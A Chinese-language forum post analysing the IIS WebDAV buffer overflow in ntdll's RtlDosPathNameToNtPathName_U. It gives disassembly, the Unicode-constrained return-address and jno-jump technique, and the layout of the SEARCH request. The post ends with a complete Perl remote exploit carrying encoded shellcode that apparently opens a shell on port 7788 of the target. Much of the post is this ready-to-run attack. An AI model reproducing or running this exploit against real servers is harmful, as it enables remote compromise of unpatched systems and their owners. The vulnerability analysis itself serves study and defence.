- 主题
- 0
- 积分
- 0
- 贝壳
- 0 个
- 来自
- 云南曲靖
- 注册时间
- 2006-11-19
- 最后登录
- 2006-11-19
|
WEBDAV Exploit的问题,赐教哈
[这个贴子最后由漫天樱舞在 2005/04/26 01:12pm 第 1 次编辑]
WebDav是通过IIS来利用这个漏洞的,其实他本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。
这个漏洞的引用关系是这样的:
IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)
你看这里的GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且调用ntdll.dll中RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果你能给出一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数发生溢出。
本质上来说是个短整型数溢出,而后才导致了堆栈溢出。
如果你对IIS发送如下请求就会触发溢出:
SEARCH /[buffer(>65513 bytes)] HTTP/1.0
溢出过程是
.text:77F8AFFC public RtlDosPathNameToNtPathName_U
.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near ; CODE XREF: sub_77F87F5C+15p
.text:77F8AFFC ; .text:77F8D9F8p ...
.text:77F8AFFC push ebp
.text:77F8AFFD mov ebp, esp
.text:77F8AFFF push 0FFFFFFFFh
.text:77F8B001 push offset dword_77F8B1E8
.text:77F8B006 push offset sub_77F82B95
.text:77F8B00B mov eax, large fs:0
.text:77F8B011 push eax
.text:77F8B012 mov large fs:0, esp .text:77F8B019 push ecx
.text:77F8B01A push ecx
.text:77F8B01B sub esp, 26Ch
.text:77F8B021 push ebx
.text:77F8B022 push esi
.text:77F8B023 push edi
.text:77F8B024 mov [ebp+var_18], esp
.text:77F8B027 xor ebx, ebx
.text:77F8B029 mov [ebp+var_58], ebx
.text:77F8B02C mov [ebp+var_3C], ebx
.text:77F8B02F mov edi, 20Ah
.text:77F8B034 mov esi, edi
.text:77F8B036 push [ebp+arg_0] .text:77F8B039 lea eax, [ebp+var_30] .text:77F8B03C push eax
.text:77F8B03D call RtlInitUnicodeString
调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING *PUNICODE_STRING;
RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer,并计算其长度,放在Length里。如果路径字符串的长度超过65535,由于Length是短整型数,所以无法容纳,就会溢出,
.text:77F8B05A lea eax, [ebp+var_270]
.text:77F8B060 mov [ebp+var_3C], eax
.text:77F8B0A0 lea eax, [ebp+var_274]
.text:77F8B0A6 push eax
.text:77F8B0A7 lea eax, [ebp+var_38]
.text:77F8B0AA push eax
.text:77F8B0AB push [ebp+arg_8]
.text:77F8B0AE push [ebp+var_3C] ;.text:77F8B0B1 mov edi, 208h
.text:77F8B0B6 push edi
.text:77F8B0B7 lea eax, [ebp+var_30] .text:77F8B0BA push eax
.text:77F8B0BB call sub_77F8AC33
sub_77F8AC33
.text:77F8AC33 sub_77F8AC33 proc near ; CODE XREF: RtlGetFullPathName_U+24p
.text:77F8AC33 ; RtlDosPathNameToNtPathName_U+BFp ...
......
.text:77F8AD96 mov dx, [ebp+var_30]
.text:77F8AD9A movzx esi, dx
.text:77F8AD9D mov eax, [ebp+var_28]
.text:77F8ADA0 lea ecx, [eax+esi]
.text:77F8ADA3 mov [ebp+var_5C], ecx
.text:77F8ADA6 cmp ecx, [ebp+arg_4] ;
.text:77F8ADA9 jnb loc_77F8E771
这里是有一个长度限制的,UNICODE字符串的长度Length不能超过0x208字节,否则就认为是超长的,但是由于Length这个短整型数溢出了,它比UNICODE字符串的实际长度小的多,所以造成长度限制比较失效,从而造成了后面的溢出。
......
接下来就是一些的字符串copy操作,把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。
.text:77F8AE63 mov [ecx], dx
.text:77F8AE66 add ecx, ebx
字符串copy的时候就溢出了,会把RtlDosPathNameToNtPathName_U函数的返回地址,以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址,这样后面触发异常的时候就会跳去执行我们的shellcode。
当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后,先进行一系列的处理把buffer解析出来,然后对buffer进行MultiByteToWideChar转换,把buffer转换成UNICODE形式。
最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了,只能用一些符合UNICODE编码规范的字符,否则就会被转换调。可视字符(0x20~0x7f)当然是可以用的,但是要用这些字符来构造出可执行的指令就比较困难了,所以不能用含JMP EBX之类指令的地址来作为返回地址,否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。
HTTP协议里面允许存放最大量数据的地方就是POST数据,所以shellcode就放在这里。这样构造
SEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0
Host: ISNO
Content-Type: text/xml
Content-length:
[NOPNOPNOP...NOPNOP][Shellcode]
在AAAA的后面要放一个跳转指令,因为在堆栈里NOP和shellcode是AAAA的后面排列的,所以如果返回到AAAA里面就一直执行inc ecx指令(0x41),然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令,所以一般的jmp指令(0xeb)都不能用,我们就用一个jno xxxx(0x71)指令向后跳转。所以我们在AAAA的后面放上两个q(0x71)来作为跳转指令,这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。
WebDav远程溢出程序:
#!/usr/bin/perl
use IO::Socket;
if ($#ARGV<0){die "webdavx.pl IP\r\n";}
$host = @ARGV[0];
$port= 80;
$ret = "%u00d7%u00d7" x 500;
$buf = "A" x 64502;
$jmp = "BBBBBBBBBBqq";# qq="\x71\x71" means jno xxxx
$nop = "\x90" x 40000;
$sc =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90".
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa".
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36".
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97".
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14".
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2".
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14".
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5".
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1".
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16".
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68".
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1".
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94".
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4".
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68".
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57".
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4".
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4".
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5".
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68".
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67".
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1".
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf".
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab".
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0".
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4".
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0".
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56".
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7".
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57".
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4".
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f".
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7".
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68".
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f".
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75".
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0".
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5".
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2".
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6".
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97".
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc".
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb".
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97".
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2".
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4".
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97".
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2".
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97".
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97".
"\x68\x68\x68\x68";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn';t connect: @!\n";
print $socket "SEARCH /$ret$buf$jmp HTTP/1.0\r\n";
print $socket "Host: ISNO\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: 40804\r\n\r\n";
print $socket "$nop$sc\r\n";
print "send buffer...\r\n";
print "telnet target 7788\r\n";
close($socket);
|
|